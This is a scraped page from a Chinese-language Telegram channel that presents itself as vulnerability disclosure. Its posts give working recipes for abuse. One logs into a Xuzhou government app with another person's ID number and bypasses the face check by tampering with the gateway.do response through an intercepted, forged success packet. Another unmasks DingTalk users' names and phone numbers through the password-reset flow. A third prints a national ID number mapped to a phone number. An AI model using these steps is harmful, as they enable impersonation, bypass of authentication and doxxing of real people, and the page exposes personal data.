烬分享
Відкрити в Telegram
本频道为技术分享频道 ，频道中投稿分享的所有漏洞请涉事官方尽快修复！避免不法分子滥用造成危害。漏洞信息披露、安全预警、技术研究、漏洞分析、风险通报
Показати більше5 908
Підписники
-1024 години
-1097 днів
-39230 днів
Архів дописів
5 907
https://ydzt.jszwfw.gov.cn/jpaas-jags-server/interface/gateway.do
改成：{"success":true,"code":200,"msg":"请求成功","data":"{\"msg\":\"认证成功\",\"data\":\"{\\\"imgPath\\\":\\\"04FC2C8D993B4A11D0B9742D5D912584E78979B5A018DAFCD8AF32FD4DF2DE15A77ED37436974B28DC5C04F5017DBC0AFD37C967EC57D7803D2FAA8C363E72D2F5BD9A04FE05FFB5FA56774C57334B4C7AE86A726E8BEBCA9A250EDCFE814836CCBEEB4B39101FF7F43FBBE8B046703E8E0D36B233B8F4DDB843E99A345697F1897E057679447748C043E9286062D3B21E0C2ED132AD55BBC5B5BD8DE743C704C82B052948\\\",\\\"faceImage\\\":\\\"//Z\\\"}\",\"retcode\":\"000000\"}"}
软件：我的徐州
过程：下载登录，二要素登录，用要出的人的身份证登陆，再扫脸失败，再抓这个包https://ydzt.jszwfw.gov.cn/jpaas-jags-server/interface/gateway.do
江苏头思路 投稿人: @huanpimmm
5 907
钉钉模糊名字
下钉钉app-进去-找家长-忘记-输入手机号-出模糊名字
---下一个
网页钉钉-忘记抓包-手机号-看抓包这样拿一个已经登的记录一下返回-加一个空号-跑出来-完整手机号
---78
加一个机二
核验一下出来完整手机号名字
5 907
志愿者一要出常用
身份证号: 520103199901284862
520103199901284862 -> {'code': '000000', 'message': '操作成功', 'object': '15086033212'}
[程序执行完毕]
——投稿者@ZGGH57
